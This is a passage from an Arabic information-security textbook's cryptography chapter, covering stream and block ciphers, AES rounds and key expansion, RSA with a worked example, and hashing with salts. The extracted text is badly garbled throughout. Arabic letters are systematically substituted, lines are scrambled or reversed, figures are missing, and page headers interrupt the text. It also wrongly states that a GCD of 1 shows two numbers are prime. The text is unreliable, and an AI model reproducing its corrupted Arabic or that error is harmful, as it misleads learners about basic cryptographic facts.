ُيعترب ” “Shared Secret Keyقيام بينهم .وكُلام زاد ال Key Spaceكُلام ازدادت قوت ُه وازدادت صعوبة كُسه.
Cryptography
][302
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
Cryptography
][303
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
N = (N – 1) / 2
Stream Cipher
تَعتَمد قكرة ذذا النوع من ال ciphersعىل وجود ” “Key stream Generatorيقوم بإنتاج Streamمن ال Bitsأو
ال Bytesالعشوائية أو كام نُسميها ،Pseudo-Random Bitsيبدو واضح ًا من اسمها ” “Randomأنه ُيشرتط عدم
وجود عالقة رياضية بني ال Bitوال Bitالذي يليه يف ال .Stream
Cryptography
][304
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
غالب ًا يتم انتاجها عىل ذذا النحو “One bit or one byte at a time” :بمعنى أنه كل ُ plaintext digitيقابل ُه
.random bit
ونُطلق عىل ذذه السلسله من ال random bitsبال ،Key Streamأي أهنا ستكون ال ُ Keyذنا! .ذذا ال Key
Cryptography
][305
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
Cryptography
[306]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
ذذا ال ciphertextعندما يصل للجهة األطرى سيتم عمل XORله مع ال Yوذو ال Bit Streamلينتج نفس ال X
Block Cipher
ذذا النوع من ال Ciphersيتعامل مع ال messageأو ال plaintextك ،Blockذذا ال Blockسيتم حتويله لىل ال
ciphertextعىل ذيئة Blockأيض ًا بنفس ال .Length
موضح بالشكل ال Length of Blockوذو املشار لليه بال ” “b bitsالحظ أنه ثابت لل plaintextوال .ciphertext
Cryptography
][307
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
..(IV) وذو الplaintext ألولXOR نُالحظ ُدطول يشء غريب يف عملية ال
،Plaintext هلا َمع الXOR نقوم ب َع َمل،Plaintext اخلاص بالLength هلا نفس الRandom String لن ُه عبارة عن
“ باستخدام نفسBlock of Plaintext” ُُمتلف يف كُل َمره َيتم تشفري نفس ذذا الCiphertext ووظيفتها ذ َي لنتاج
.جلعل َعملية ختمني الرسالة أصعب وأكثر تعقيد ًا
َ وذذا.Key ال
Cryptography
[308]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
..أعتقد اآلن أن ُه أصبحت لدينا بعض املفاذيم اجليدة التي سنعتمد عليها يف املرحلة القادمة
و ُقمنا بتَعريفSymmetric Encryption حيث كُنا نَتحدث َعن ال
ُ سنعود مر ًة أطرى لىل ما َذكرنا ُه يف أول ذذه الفقرة
.Cryptosystems مفهوم ال
. يف تشفري البَياناتBlock Ciphers ( يعتمد َمبدأ الSymmetric Cryptosystem) َسننتقل لتحليل نظام ُمتكامل
.3DES والAES ذو الSymmetric Cryptosystem لعل أشهر ذذه ال
.AES سوف نذذب يف جولة ُُمتعة داطل ال
block أي أن َحجم ال،1 byte كُل طانة ُمت َ ِّثل، طانة16 بلوك يتكون منAlgorithm هلذه الinput يكون ال
. ُثم ُجيري عليها عملية التشفريBlocks ووضع ُه يفplaintext ذذا يعني أن ُه سيقوم بتقسيم ال،128-bits َس َيكون
Cryptography
[309]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
Cryptography
][310
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
Cryptography
[311]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
نالحظ أن ذذه ال Roundsمجيعها عددذا ) (10غري ال ،initial transformationوذذا ألننا استخدمنا ال AES-
Cryptography
][312
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
يبدو واضح ًا أن ال initial roundتستخدم ال AddRoundKeyققط! .بينام تتعرض ال Stateبعدذا ل ،9 Rounds
يتم قيها تنفيذ أربع ططوات متتالية يف كل .Roundويف ال Roundاألطرية ال يتم تطبيق ال .MixColumnsواآلن..
ذيا لنقرتب أكثر من ذذه ال .Rounds
Cryptography
][313
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
Initial round
نقوم ُذنا بتطبيق ططوة وحيدة وذي استخدام ال Keyاألول يف سلسلة ال ،Key Expansionقنقوم بعمل XORبينه
وبني ال State Matrixكام يظهر بالشكل:
Cryptography
][314
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
كيف َحدَ َ
ث ذذا الت ََح ّول؟ َ
..لقد متت ُمبادلة كل byteمن ال Stateب byteآطر حصلنا عليه من جدول ُيسمى بال .S-Box
ماذذا ال ..S-Box؟
Cryptography
][315
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
Cryptography
[316]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
Cryptography
][317
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
ShiftRows
رتك ال rowاألول كَام ذوُ ،ثم نَقوم بنَقل أول byteمن ال rowالثاين لن ََضع ُه َمكان ال byteاألطري ،وذذا س ُي َسبِّب
َسن ُ
لزاحة ُأ ُققية لل َبقية لىل ال َيسار كام ذو موضح باألعىل ،وبخصوص ال rowالثالث ق َيتم نقل ( 2 bytesالثالث والرابع
حمل األول والثاين)ُ ،ثم ال rowالرابع يتم نقل ال byteاألطري حمل ال byteاألول ولزاحة الباقني نحو اليمني،
لنحصل عىل املصفوقة النهائية باألسفل!.
تعرضها لل .ShiftRow
* الصورة التي تقع أسفل الشكل ناحية اليمني توضح ال Stateالتي طبقنا عليها ال S-boxقوق ،بعد ُّ
Cryptography
][318
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
ذذا جيد!..
ذيا لننتقل لىل مرحلة ال :MixColumns
MixColumns
يتم يف ذذه الطريقة ََضب َمصفوقة ال Stateب َمصفوقة ُأطرى وذي ال ” “MixColumns Matrixأيض ًا ن ََود تَذكريك
بأن ذذه ال َع َملية تُعترب تطبيق َملبدأ ”.“Diffusion
Cryptography
][319
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
لقد حصلنا عىل ال َ Stateبعد ثالث َمراحل ُمتتابعة ،كانت أوهلم ال SubBytesحيث استخدمنا جداول ال ،S-box
ثم دطلنا لىل ال ShiftRowsكأحد تطبيقات ال ،Diffusionومن بعدذا لىل ال .MixColumnsواآلن يأيت دور
املرحلة الرابعة واألطرية هلذا ال ،Roundوذي:
AddRoundKey
حيث نقوم بعمل XORلل Stateالناجتة من ذذه املراحل الثالثة مع ال ”“Round Key 1
Cryptography
][320
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
لن ُه ال Keyالذي تم انتاجه من ال Cipher keyالرئييس ،وذلك من طالل عملية ال .. Key Expansionسنُناقشها
بعد قليل..
للمرور بنَفس
يف النهاية َيتم احلُصول عىل ذذا ال Blockكَناتج من ال ،Round 1ل َيتم َبعد ذلك دطوله مر ًة أطرى ُ
األربع ُططوات داطل ال ،Round 2وذكذا حتى الوصول لىل ال .Round 9
ُ
حيث يتم أطذ كل عمود من ال State ماييل شكل توضيحي لإلجراء احلاصل بني ال Stateوال .Round key 1
Cryptography
][321
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
نقوم بتكرار ذذه ال Roundلتسع مرات ،ثم يف ال Roundالعارشة نُطبق ذذه اخلطوات أيض ًا باستثناء اخلطوة اخلاصة
بال .MixColumns
لقد وصلنا لنهاية ال ،Encryption processذيا لننتقل لىل ال Key Expansionلنُننهي به ذذا ال .Cryptosystem
Key Schedule
تبدأ ُذنا ال " "Key Expansion Algorithmبأطذ ال Cipher Keyوذو عبارة َعن مصفوقة ُمكونة من 16 bytes
سمة ال 176عىل 11يكون الناتج ،16بمعنى أننا سنستخدم مصفوقة مكونة من 16 bytesألجل 11مرحلة،
وبق َ
حيث ُيم ِّثل ال Cipher Keyأول keyيف ذذه ال
ُ وذي ال Roundsاملطلوبة!،(Initial round + 10 rounds) .
ذيا لنبدأ!..
تأمل معي الشكل التايل:
Cryptography
][322
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
Figure 5
Cryptography
][323
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
ُ
حيث نُطلق عىل أول عمود من ال Round Keyاجلديد بال ” ،“Wiقيكون العمود الذي يسبق ُه ” “Wi-1كام يظهر
بالشكل التايل ).(figure 6
سنقوم بعدذا بتطبيق ططواتَ ،يتم تكرارذا عندَ تكوين أول عمود من كل Round Keyققط!.
Figure 6
Cryptography
][324
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
اخلطوة األوىل ذي أن نأطذ أول byteيف ذذا العمود وذو ) (09ونضع ُه باألسفلُ ،ما يؤدي إلزاحة رأسية للبقية لىل
ن ال Wi-1يف الشكل املايض ،رقم .(figure 6) 6 األعىل ،كام نُالحظ يف العمود ا ُمل َ
نسدل م َ
واخلطوة الثانية ذي تبديل كل byteمن ذذا العمود بقيمة أطرى من ال S-Boxالذي تكلمنا عنه ُمسبق ًا ،كُنا نُطلق
عليها ”..“SubBytesأيض ًا يوضح الشكل رقم (figure 6) 6ال S-Boxوعملية ال .SubBytes
Figure 7
Cryptography
][325
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
َبني ال َعمود الذي َيسبق ُه ُمبارش ًة وال َعمود الذي َيسبق ُه بأر َب َعة أعمدة كَام بالشكل التايل ،رقم :(Fig.8) 8
وذكذا نكرر ذذه ال XORمع العمود الثالث والرابع .لنصل ِبذا لىل اكتامل ال .Round Key 1
Figure 8
ثم تبدأ ال ،Round Key 2سنتكلم عن ططوات تكوين أول عمود ِبا:
Cryptography
][326
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
قنَقوم بتكرار اخلُطوات التي متت عند تكوين أول َعمود يف ال ،Round Key 1ذل تتذكرذا؟
أول ططوة كانت ال RotWordوذي نقل ال Byteاألعىل لىل أسفل.
والثانية كانت ال SubRowsباستخدام ال .S-box
تظهر اخلطوة "الثالثة" يف الشكل التايل ..(Figure 9) ..وِبا نكون قد انتهينا من أول عمود يف ال ).(Round Key 2
Figure 9
Cryptography
][327
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
وذذه أيض ًا بعض الصور التي توضح ذذه اخلطوات بأسلوب جيد:
Cryptography
][328
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
Cryptography
[329]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
Cryptography
[330]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
Source: http://www.moserware.com/2009/09/stick-figure-guide-to-advanced.html
،Asymmetric Cryptography سننتقل لىل عامل ال.Cryptosystem لىل ذنا نكون قد وصلنا لىل هناية ذذا ال
..ذيا بنا
Cryptography
[331]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
Asymmetric Cryptography
Cryptography
][332
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
يظهر أن الطرف Bيقوم بعمل generateلل ُ ،key pairثم ُيرسل ال public keyاخلاص به للطرف ،Aكي يقوم A
Cryptography
][333
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
دعني أطرح عليك سؤاالً منطقي ًا بعد أن تعمقنا يف تكنولوجيا التشفري ذذه!.
ماذو اهلدف من التشفري من األساس؟ أو ماذي اخلدمة التي ُيقدمها لنا ال ..Cryptography؟
لنه سؤال مهم قعالً!.
ذذه التكنولوجيا تقدم لنا قوائد عديدة ،سأذكر لك أذم أربعة أذداف ُ َحتققها َلنا:
Confidentiality
تعني املوثوقية ،وذي التي تضمن الُسية أثناء التواصل بني شخصني أو أكثر ،و أن ال Dataالتي تنتقل بينهم ستكون
معزولة عن املحيط اخلارجي ،وحمفوظة الُسية.
مثال عىل ذلك "الشهادات املدرسية" أو كشف درجات الطالب واخلرجيني .حيث يضمن املعهد أو اجلامعة أن ذذه
البيانات ال َي ّطلع عليها لال الطالب نفسه ،وأولياء أمره ،وحمل عمله أو دراسته اجلديد! .وبالتايل ُ
قهناك َ Proofجيب أن
ُيقدم من ق َبل اجلهة أو الشخص الذي يريد نسخة من ذذه امللفات!.
ماييل تعريف ُمترص هلا:
”Is the protection of transmitted data from “Passive Attacks
Cryptography
][334
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
Integrity
: أو ما ييل،"نعني ِبا "سالمة البيانات
Integrity Assures that messages are received as sent with no duplication, insertion, modification,
reordering, or replay.
سيقوم بعمل تعديل عىلAttacker ألن الActive قهو،Active Attacks ا ُملصنف حتت الAttacks لنه نوع من ال
.! و ُيعيد لرساهلا مر ًة أطرىdata ذذه ال
Cryptography
[335]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
Authentication
ذذه ببساطة عملية التحقق من ذوية األشخاص أو األجهزة أو أي يشء!.
ماييل مثال هلذه العملية:
Cryptography
][336
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
الحظ أن ال Serverعندما طلب من السيد بوب أن ُيثبت ذويته ،طلب منه يشء بعينه ،ربام يطلب منه Password
أيض ًا كنوع من لثبات اهلوية ،قمعنى أنه يطلب منه يشء بعينه أن ذذا ال Serverسيقوم بتطبيق عالقة ”..“Compare
سيقوم بمقارنة قيمة حمددة عنده بام س ُيدطل ُه ذذا ال ،userقإن تطابقا ،س ُيعطيه ال .access
لهنا ختتلف عن ال ”.! “Identification
قالثانية ذذه تعني اآليت:
عندما تقوم بإدطال لسمك مثالً ،قيقوم ذو بمقارنة ذذا اإلسم بكل األسامء التي لديه لىل أن حيدُ ث ،matchلهنا لذ ًا
عالقة من نوع ” .“One-to-Manyذذا أشبه بعملية ال .Search
بمعنى ..(Compare only, No search.!) :يف الصفحة التالية نعرض بعض أشكال ال ..Authentication
Cryptography
][337
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
Nonrepudiation
provides assurance to the recipient that the message was actually originated by
the sender and not someone masquerading as the sender. It prevents the sender from claiming
that they never sent the message in the first place
Cryptography
[338]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
.! سيتمكن من تشفري الرسالة ولرساهلا يلShared Secret Key ألنه ببساطة أي شخص يمتلك ذذا ال
Because any communicating party can encrypt and decrypt messages with the shared secret key,
there is no way to tell where a given message originated.
Cryptography
[339]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
سنأطذ مثال آطر نوضح به حتقيق ذذه اخلصائص باستخدام ال .Asymmetric Keys
ُقمنا يف ذذا املثال بإضاقة ططوة جديدة وذي أن عملية التشفري أو قك التشفري ستكون عىل مرحلتني بدالً من مرحلة
واحدة! .سيقوم Aبتشفري الرسالة أوالً استخدام ال private keyاخلاص به ،ثم ُيش ِّفرذا مر ًة أطرى باستخدام ال
تكمن قائدة عملية التشفري األوىل يف توقري طدمة ال ،Nonrepudiationألن A
public keyاخلاص باملستخدم ُ .B
ذو الشخص الوحيد الذي يمتلك ال private keyا ُملستخدم يف عملية التشفري ،قلن يتمكن أحد غريه من تشفري
جي ُّرنا لىل توضيح أحد
الرسالة وادعاء أهنا قادمة من .Aوذذا تأكيد عىل أن ذذه الرسالة قادمه من ،Aو Aققط! ،ذذا ُ
تطبيقات ال Public Key Cryptosystemsوذو ال ”“Digital Signature
Cryptography
][340
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
Digital signatures can provide the added assurances of evidence to origin, identity and status of
an electronic document, transaction or message, as well as acknowledging informed consent by
the signer.
سنأيت لليها بيشء من التفصيل قيامبعد..
بينام سنذذب اآلن يف جولة ُُمت َعة داطل أحد ال ”“Public Key Cryptosystems
RSA
تُشري تسميته لىل الثالثة الذين قامو بابتكار ذذا النظام وذم ينتمون ملعهد ال .MIT
Ron Rivest, Adi Shamir, and Leonard Adleman at MIT
شكر ًا هلم .
Cryptography
][341
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
ُيريد السيد Bobلرسال رسالة لىل ،Aliceقيستخدم ال Public Keyاخلاص ِبا لذلك ،قتقوم ذي بفك الشفرة
باستخدام ال Private Keyاخلاص ِبا.
أيض ًا ُأحب أن أوضح لك أن ٍ
أي من ال ُ Keysيمكن استخدام ُه يف َع َملية ال ،Encryptionو ُيستخدم ال Keyاآلطر
كان ذذا املثال للتشفري باستخدام ال Public Keyو َقك التشفري بال .Private Key
يف عملية ال َ .Decryption
سنُشاذد مثال آطر َيقوم ب َعكس عملية استخدام ال :Keys
Cryptography
][342
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
يظهر ذنا السيد Bobوذو ُيش ِّفر رسالته بال Private Keyاخلاص به ذوُ ،ثم تقوم Aliceب َفك الشفرة باستخدام ال
Public Keyاخلاص به أيض ًا.
Cryptography
][343
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
RSA Algorithm
Choose two large prime numbers (approximately 200 digits each), labeled p and q
Cryptography
[344]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
ٍ
سابقات دولية يف جمال تازة! ،وكيف بدأت ُأم ُه باإلذتامم به ،وتأذيله خلوض ُم
َحيكي قصة طفل يمتلك عقلية رياضية ُُم َ
الرياضيات..
ا ُملهم..
الو َجبات بأرقامَ ،ق َطل َبت السيدة الوجبة
سمي َ ذات يوم ذذبت أم ُه لتشرتي له وجبة الغداء ،ويبدو أن ذذا املَط َعم ك َ
َان ُي ّ
رقم " "47وذو رقم أويل! ،لكنها أرادت لجراء تعديل عىل عدد القطع بداطل ذذه الوجبة لتكون عددذا "أولي ًا"
أيض ًا! .ققال هلا الكاشري أنه من األقضل هلا أن تأطذ الوجبة رقم ” “48الحتوائها عىل املطلوب،
قرتددت السيدة قلي ً
ال وقالت له:
"اعذرين قولدي لديه طباع غريبة بعض اليشء ..لنه لن َيقبَل لال األرقام األولية!"ُ ،ثم أطرجت َج َ
دول األرقام األولية
من َشنطتها لتتأكد ذل الرقم 48أولي ًا َأم ال..
كام يظهر. ثم أرادت أن تُريه أنه ليس أولي ًا كام يبدو يف الصورة باألسفل ،قارتسمت عىل الكاشري مالمح اإلندذا
Cryptography
][345
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
Cryptography
[346]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
اجلدول السابق يوضح األعداد األولية التي تقع أسفل الرقم ”.“2000
عندما يكون القاسم املشرتك األكرب ) Greatest Common Divisor (GCDبينهام والذي يمكن لجياده باستعامل
طوارزمية اقليدس ،مساوي ًا للعدد ).(1
Cryptography
][347
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
سمة يف اخلانة ُ ،Rثم نَقوم تتلخص الطريقة بوضع العدد األكرب أوالً ثم ق َ
سمته عىل العدد األصغر ،ووضع باقي الق َ
بنَقل العدد األصغر َحت َت اخلانة ،Aونَقل ال Rاألول َحت َت اخلَانَة ُ .Bثم ق َ
سمة ال 120عىل ال 53ووضع الباقي مر ًة
أطرى حتت اخلانة ،Rثم لجراء عملية النقل ثم القسمة ووضع الباقي وذكذا ..لىل أن نصل لىل ( ،)2 /1 = 2وذذا
يعني أن الباقي بعد القسمة = صفر!.
قيكون ال GCDذو قيمة ال Rالتي تَسبق الصفر ُمبارشةً ،قإن كانت ذذه القيمة = ،1قهذا يعني أن ذذان العددان
أوليان.
لنعود..
ُقلنا أن أول ططوة ذي اطتيار عددين أوليني.
واخلطوة الثانية ذي حساب قيمة ،nحيث n = p . q
Cryptography
][348
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
ويتم تعريفها عىل أهنا عدد األعداد الصحيحة املوجبة التي تقل عن العدد ُ ،n
وحتقق ذذا الرشط:
”“they should be relatively prime to n
Φ(n) = n – 1
وذذا ققط لألعداد األولية!
وبام أن )َ Φ(nذذه كانت يف األساس ) ،Φ(p, qق ُيمكنُنا القول بأن:
)Φ(n) = Φ(pq) = Φ(p) * Φ(q) = (p - 1) * (q - 1
َذيا لن ُ
َأطذ مثال:
Cryptography
][349
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
Cryptography
][350
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
كيف ذذا؟
حسن ًاَ ..سنَعتَرب أن ال ..Φ(n) = 160قنقوم باطتيار عدد عشوائي أقل من ال .160
ُجرب العدد 7عىل سبيل املثال.
سن ِّ
باستخدام ال ” “Euclidean Algorithmالطتبار العددين كام ييلGCD (160, 7) :
Cryptography
][351
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
أقل من ذذا العدد ) ،(nبمعنى أن ذذا ال ciphertextستكون قيمته بني الصفر وال ) .(n – 1وعىل أي حال ،ذذا ال n
Cryptography
][352
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
Cryptography
[353]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
بنا ًء عىل الشكل ..يبدأ ال Generatorبإنتاج ال eوال pوال ،qثم يتم حساب ال ،nولرسال ذذا ال eوال
nللشخص الذي ُيريد لرسال الرسالة ا ُملشفرة لليه ،حيث يتم استخدامهم يف معادلة لنتاج ال Ciphrtextكام
ترى يف اخلطوة الثانية.
ُثم اخلُطوة الثالثة يقوم قيها ال Senderبتَجهيز ال plaintextا ُملراد تشفري ُه ولرساله.
كرهتا َل َك من َقبل يف التشفري.
ويف اخلطوة اخلامسة يتم استخدام املعادلة التي َذ ُ
ثم يف اخلطوة السادسة يتم جتهيز ال private keyالذي سيستخدمه ال Receiverمن أجل قك الرسالة
ا ُملشفرة باستخدام املعادلة الثانية التي يدطل قيها ال ).(d
Cryptography
][354
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
عرب عن ال Private Keyا ُملستخدَ م يف َقك الرسالة ا ُملشف َرة. طامس ًا :ذذه ا ُ
خلطوة لتحديد العدد ) ،(dوالذي ُي ِّ
نحصل عليه باستخدام ذذه املعادلة:
ُ
(ed – 1) mod (p – 1)(q – 1) = 0
e * d = Φ(n) + 1
7 * d = 160 + 1
d = 161 / 7 = 23
سادس ًا :سنقوم بإعطاء الطرف اآلطر ال Public Keyوذو ال ) ،(eوسنقوم باالحتفاظ بال Private Keyلنا ققط
وذو ال ).(d
سابع ًا :يقوم ال Senderبتشفري الرسالة وذي ) (88ولرساهلا ،ويقوم ال Receiverباستقباهلا وقك تشفريذا
باستخدام ذذه املعادالت:
Cryptography
][355
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
Cryptography
][356
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
اسة بدَ َر َجة عالية ،قأي تَغيري َيتم لجراؤ ُه عىل النص )ُ ،(Mيؤدي لىل تغيري ُمقابل ل ُه يف ال
حس َ
ذذه ال ّ Hash function
.Hash Code
ذذه ذي اخلاصية الرئيسية التي تتميز ِبا ال .Hash Functions
Cryptography
][357
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
:دعني ُأذك ُِّرك به.. “ ؟Data Integrity” ذل تتذكر تعريف ال
Integrity Assures that messages are received as sent with no duplication, insertion, modification,
reordering, or replay.
Message Authentication
.“Hash Function” أحد تطبيقات الMessage Authentication ُت َعد ال
ُ
وعندَ ما نَقوم باستخدام ال، اخلاصة بالرسالة أو البيانات التي يتم لرساهلاintegrity حيث تُستخدم للتأكد من ال
.“Message Digest” نُطلق عليها، هلذا ال َغ َرضHash Function
Cryptography
[358]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
الحظ أن الرسالة لن تتحول لىل ذذا ال ،!hash valueستظل الرسالة كام ذي..
سيتم ققط لضاقة يشء مثل notepadمع الرسالة ِبا ذذا ال .hash value
ويقوم ا ُملستقبل بتطبيق نفس ال Hash Functionعىل الرسالة ،قينتُج ،hash valueيقوم ُ
بمقارنته بذلك الذي أتى
مع الرسالة ،قإن تشاِبا ،قهذا دليل عىل سالمة ذذه الرسالة أو امللف من أي تعديل أو حذف أو ضياع ألحد أجزائه.
Cryptography
][359
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
كيف ذلك؟
بأن يتمكن أحدذم من اإلمساك بالرسالة قبل وصوهلا لىل ال َ ،receiverق َيطلع عليها ثم يقوم بتطبيق ال MD5مثالً
عليها مر ًة أطرى واستبدال ال hash valueالقديمة ِبذه اجلديدةُ ،ثم لعادة لرساهلا لىل ال .!receiver
Cryptography
][360
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
الطريقة األوىل:
ُذنا سنقوم باستخدام ” “Symmetric Algorithmلتشفري البيانات َقبل لرساهلا لىل الطرف اآلطر ،ذذه البيانات
ستكون( :الرسالة +ال .)hash valueوعند وصوهلا ،سيقوم ال َط َرف اآلطر ب َفك الشفرة ل َي ُ
حصل عىل الرسالة وال
.hash file
ُثم َيقوم بتطبيق ال Hash Functionعىل الرسالة و ُيقارن ال hash valueالناجتة بتلك القادمة مع الرسالة.
الطريقة الثانية:
Cryptography
][361
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
َعرضه ألي
َضمن عَدَ م ت ُّ
ُذنا سنقوم باستخدام ال ” “Symmetric Encryptionلتشفري ال hash codeققط! ،لن َ
حصل عىل الرسالة وال َ ،hash fileق َيقوم بنَفس
تَعديل .وعند وصول البياناتَ ،سيقوم الطرف اآلطر بفك التشفري ل َي ُ
اإلجراء أيض ًا للتأكُد من َسالمة الرسالة.
الطريقة الثالثة:
نالحظ ظهور Inputجديد سيدطل مع ال Hash Functionأثناء لنتاج ال ،hash valueوذو ال ) ،(Sذذا احلرف ذو
اطتصار لكلمة ”.“Salt
ماذذا ال ”..“Salt؟
لن ُه عبارة َعن َ Random dataيتم استخدامها ك inputمع ال One-way functionالتي ستقوم بعمل ال hash
للرسالة أو ال passwordا ُملراد لرساله أو ختزينه .قينتج بذلك hash valueليست هلا عالقة مبارشة مع الرسالة أو ال
passwordالداطلة يف املعادلة! ،ألننا ُقمنا بإلصاق بعض األحرف األطرى معها قبل لجراء ال ُ .hashing
تكمن أمهية
ذذا ال Slatيف احلامية من ذجامت ال ”“Dictionary Attack
Cryptography
][362
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
سنقوم بإرسال ذذا ال Saltلىل ال َطرف اآلطر ب ُمفردهُ ،ثم نُرسل َله الرسالة مع ال ،hash fileيقوم ذو بتطبيق ال
الناجتة بتلك القاد َمة مع الرسالة.
َ hash functionمع لدطال ال ،Slatو ُيقارن ال hash value
لهنا عملية تطبيق ال Hash Functionعىل كمية كبرية من كلامت الُس ا ُملقرتحةَ ،يتم َوضعها يف ملف ،txtقتقوم األداة
ب َع َمل hashingلكُل كَل َمة و ُمقارنة ال hash valueبال hashا ُملعطاة (ا ُملل َت َق َ
طة) ،لىل أن َحيدُ ث تَشا ُبه بني أحد ال hash
valuesوتلك ا ُملعطاة!.
Cryptography
][363
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
.attack
Cryptography
][364
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
Cryptography
[365]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
ثم تطبيق ال،salt والpassword “ بني الConcatenate” بعملServer الحظ يف اخلطوة الثالثة كيف قام ال
. عليهم و ُمقارنة النتيجة بتلك ا ُملخزنة لديهHashing Function
:الشكل األول
Cryptography
[366]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
الشكل الثاين:
عرب عن ال ” “Asymmetric Encryptionألن الطرف األول يقوم بتشفري الرسالة باستخدام ال public
ذذا الشكل ُي ِّ
keyاخلاص بالطرف اآلطر.
ذذا النموذح ُحيقق لنا ال Confidentialityولكن ال ُحيقق ال !..Authentication
Cryptography
][367
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
الشكل الثالث:
ُقمنا بتحقيق ال Authenticationعن طريق جعل الطرف Aيقوم بتشفري الرسالة باستخدام ال private keyاخلاص
به ذو! ،وذذا ألن عملية ِسقة ال private keyاخلاص بأحدذم أصعب بكثري من ِسقة ال .public key
وبالتايل ذذا النموذج ُحيقق لنا ال Authenticationوال .Signature
ماحلل ُذنا؟
بمقتضاذا امتالك احلق يف اإلدعاء بأن الرسالة أتت من ،Aوذو أن ُيظهر لنا
احلل ُذنا أن نضع قاعدة يقوم الطرف ُ B
ال Ciphertextالقادم له من ..A
Cryptography
][368
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
وملاذا ال Ciphertextبالذات؟
بام أن Aذو الوحيد الذي يمتلك ال ،Private Keyقهو الشخص الوحيد الذي يستطيع تكوين ال ،Ciphertext
وليس ألحد سوا ُه ذلك! ،لال لذا متت ِسقة ذذا ال private keyمن اجلهاز!.
تواجد ذذا ال Ciphertextيف حد ذاته عند Bذو دليل كايف أن Aذو من أرسل ذذه الرسالة!.
وبالتايل ُ
حيث تعني "منع ا ُملرسل من اإلدعاء بعدم لرساله
ُ ت ََذكر أن ال Signatureتُد ِّعم مفهوم ال ،Nonrepudiation
للرسالة ،ومنع ا ُملستقبل من ادعائه بعدم وصوهلا لليه".
Cryptography
][369
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
الشكل الرابع:
لقد ُقمنا بإضاقة مرحلة أطرى أثناء عملية التشفري وقك التشفري،
سيقوم الطرف Aبالتشفري عىل مرحلتني ،األوىل بال Private Keyاخلاص به ،وِبذا يكون قد حقق ال Signature
وال .Authentication
ثم يقوم بالتشفري مر ًة أطرى باستخدام ال Public Keyاخلاص بالطرف ،Bليكون ِبذا قد َح َق َق ال
.Confidentialityذذا ال يعني أن ذذا النموذج ذو األقضل! ،الحظ أنه يستهلك Resourcesعالية بسبب لجراء
"أربع عمليات" يف كل مرة يتم لرسال رسالة قيها.
